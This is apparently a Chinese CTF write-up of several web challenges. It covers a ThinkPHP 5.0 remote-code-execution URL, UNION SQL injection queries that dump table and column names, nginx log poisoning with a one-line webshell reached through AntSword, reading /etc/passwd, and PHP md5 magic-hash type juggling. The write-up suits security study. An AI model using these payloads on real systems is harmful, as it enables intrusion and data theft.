目录
php_rce
NewsCenter
ctf.show_web3
ctf.show_web4
ctf.show_web5
ctf.show_web6
ctf.show_web7
这道题考察php远程漏洞问题
然后看师傅们的wp都是直接去,github去查Think PHP V5漏洞
然后随便找了一个输了进去发现,提示我们要用5.02的版本漏洞
6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
一直 ls ../../../查询根目录发现,flag 然后用find查找一下和flag相关的文件
格式为:find / -name "flag"
发现flag的目录下面,还是flag,这时候可以直接采用cat查找
格式为: cat /flag 或者 tac /flag
到这里就结束了,总结一下:步骤为-->找到相应版本漏洞-->然后进行查目录-->最后查flag
打开以后看见界面,一个文本框猜测是sql注入,然后验证时什么注入
1.首先进行列的判断,' order by 3 # 注释:#的作用时注释后面的内容,也可以用--+测试一下哪个没报错,报错说明被过滤掉了
先测试输入1产生回显,1'出现 http error 500报错,说明这是一个字符型的注入
查看回显位置。
' union select 1,database(),3 #
数据库出来以后,就看表名
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news" #
查到表名,然后查询字段就可以了
' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #
' union select 1,fl4g,3 from secret_table #
一个简单的联合注入就结束了!
打开文件发现,include包含,想到了文件包含漏洞,然后就需要用到伪协议
试了一下直接在url上,php://input不出现结果然后抓包
system('ls')是系统命令查看当前目录下的所有文件,然后需要和上面空一行否则不执行
感觉flag就在ctf_go_go_go这个文件中,直接访问
尝试各种伪协议都是报错,就换一种思路
看了大佬的wp写的是日记注入,?url=/etc/passwd
发现成功显示出文件内容,那么尝试查看日志看看,?url=/var/log/nginx/access.log
尝试修改header,在header中User-Agent写马并使用蚁剑连接日志目录,得到flag
直接Forward,传入一句话木马后,用蚁建链接。用url(为日记的地址)就可以,密码为shell
在目录下面找到flag,结束
ctf.show_web5
ctf.show_web5
然后看见md5知道考察,?v1=QNKCDZO&v2=240610708
QNKCDZO 的md5值为 0e830400451993494058024219903391
240610708 的md5值为 0e462097431906509019562988736854
分别满足纯字母和数字字符串,并且md5值以0e开头,而0e开头的字符串参与比较(==)时,会转化为0,也就是 0==0,返回true使if判断成立,从而输出flag
打开界面发现也是一道sql注入的题,但这道题过滤了空格 用 /**/ 或()代替就可
看见报错,感觉是空格过滤,然后试一下就出来了
果然,是字符型注入,然后联合注入就得出flag与web3一样
打开以后看见链接还不明白然后随便点进去
发现id在发生变化,感觉是一个sql注入,判断类型
如果是字符型注入 1=2会判断正确会有回显,所以这是数值型注入,然后过滤了空格,然后联合注入判断回显位置剩下的你就会了
这里提醒一下id=-1因为这样显示错误,然后才会往后面查询